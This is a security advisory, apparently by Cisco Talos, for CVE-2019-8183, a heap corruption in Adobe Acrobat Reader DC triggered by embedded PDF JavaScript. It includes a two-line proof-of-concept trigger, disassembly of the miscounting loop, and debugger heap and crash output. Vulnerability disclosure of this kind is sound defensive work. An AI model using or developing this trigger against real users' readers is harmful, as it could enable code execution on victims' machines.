CVE-2019-8183
A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.012.20035. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. The vulnerability in this advisory is the same as TALOS-2018-0704 and TALOS-2019-0774, as it wasn’t properly patched to cover all cases.
Adobe Acrobat Reader DC 2019.012.20035
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-194: Unexpected Sign Extension
Adobe Acrobat Reader is the most popular PDF reader currently on the market. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.
This vulnerability stems from an incorrect counting of array elements and can be triggered by the same code as TALOS-2018-0704 and TALOS-2019-0774, with changed array size:
var r = new RegExp(Array(32771).join(String.fromCharCode(24)));
app.activeDocs[0].getField('mydata')['value'] = r;
The buffer allocation happens in the follwing code:
.text:20BDCA9C
.text:20BDCA9C loc_20BDCA9C:
.text:20BDCA9C imul eax, edx, 14h
.text:20BDCA9F push eax
.text:20BDCAA0 xor eax, eax
.text:20BDCAA2 inc eax
.text:20BDCAA3 push eax
.text:20BDCAA4 call sub_20860CF9
As before, the number of elements is multiplied by 0x14 and a buffer is allocated by calling sub_20860cf9
. Value in edx
comes from preceeding code:
.text:20BDCA8B cmp eax, edi
.text:20BDCA8D jz short loc_20BDCA9C
.text:20BDCA8F movzx ecx, word ptr [eax+0Ch]
.text:20BDCA93 add edx, ecx
.text:20BDCA95 mov dword ptr [ebp+var_54+4], edx
.text:20BDCA98 mov eax, [eax]
.text:20BDCA9A jmp short loc_20BDCA8B
The above code is walking the array and counting the elements. It doesn’t, however, count the tail element so edx
ends up being 32770 for our PoC. We can observe the size of allocated chunk:
6211caa4 e85042c8ff call AcroForm!PlugInMain+0xa19 (61da0cf9)
1:009>
eax=7bcfafd8 ebx=00000000 ecx=00000000 edx=000a0028 esi=48e8ed50 edi=48e92fe0
eip=6211caa9 esp=0053bb1c ebp=0053bb8c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
AcroForm!DllUnregisterServer+0x15be29:
6211caa9 8bb68c020000 mov esi,dword ptr [esi+28Ch] ds:002b:48e8efdc=48e92fe0
1:009> ?eax
Evaluate expression: 2077208536 = 7bcfafd8
1:009> !heap -p -a eax
address 7bcfafd8 found in
_DPH_HEAP_ROOT @ 9501000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7bcc164c: 7bcfafd8 a0028 - 7bcfa000 a2000
6534abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7771245b ntdll!RtlDebugAllocateHeap+0x00000039
77676dd9 ntdll!RtlpAllocateHeap+0x000000f9
77675ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77675d3e ntdll!RtlAllocateHeap+0x0000003e
76e01406 ucrtbase!_malloc_base+0x00000026
634cfcd9 AcroRd32!AcroWinMainSandbox+0x00003ed9
61da0d26 AcroForm!PlugInMain+0x00000a46
6211caa9 AcroForm!DllUnregisterServer+0x0015be29
6211e01e AcroForm!DllUnregisterServer+0x0015d39e
61ed77dc AcroForm!PlugInMain+0x001374fc
We can see the size is 0xa0028 which is just enough for 32770 elements, but not more. Continuing the execution results in the following crash:
===========================================================
VERIFIER STOP 0000000F: pid 0xA22C: corrupted suffix pattern
09501000 : Heap handle
8BF5EFF8 : Heap block
00000002 : Block size
8BF5EFFA : corruption address
===========================================================
This verifier stop is not continuable. Process will be terminated
when you use the `go' debugger command.
===========================================================
(a22c.4dc8): Break instruction exception - code 80000003 (first chance)
eax=003e8000 ebx=00000000 ecx=00000001 edx=0053b47c esi=6534ad40 edi=00000000
eip=6534ddf2 esp=0053b41c ebp=0053b424 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
verifier!VerifierBreakin+0x42:
6534ddf2 cc int 3
1:009> k
# ChildEBP RetAddr
00 0053b424 6534def0 verifier!VerifierBreakin+0x42
01 0053b74c 6534e1f7 verifier!VerifierCaptureContextAndReportStop+0xf0
02 0053b794 6534bc55 verifier!VerifierStopMessage+0x2c7
03 0053b800 6534bf3c verifier!AVrfpDphReportCorruptedBlock+0x285
04 0053b870 65348bda verifier!AVrfpDphCheckPageHeapBlock+0x1bc
05 0053b89c 65348d90 verifier!AVrfpDphFindBusyMemory+0xda
06 0053b8b8 6534add0 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20
07 0053b8d4 77712c91 verifier!AVrfDebugPageHeapFree+0x90
08 0053b944 77673c45 ntdll!RtlDebugFreeHeap+0x3e
09 0053ba90 77673812 ntdll!RtlpFreeHeap+0xd5
0a 0053bae4 76dff43b ntdll!RtlFreeHeap+0x222
0b 0053baf8 76dff408 ucrtbase!_free_base+0x1b
0c 0053bb08 634d2849 ucrtbase!free+0x18
WARNING: Stack unwind information not available. Following frames may be wrong.
0d 0053bb18 6211ce0e AcroRd32!AcroWinMainSandbox+0x6a49
0e 0053bb8c 6211e01e AcroForm!DllUnregisterServer+0x15c18e
0f 0053bb98 61ed77dc AcroForm!DllUnregisterServer+0x15d39e
10 00000000 00000000 AcroForm!PlugInMain+0x1374fc
The output shows heap corruption, which was caught while freeing heap memory. By precisely controlling the contents of the memory directly adjacent to the large chunk of memory allocated by the regular expression object, it is possible to further corrupt the heap which could possibly result in arbitrary code execution.
2019-07-22 - Vendor Disclosure
2019-10-15 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.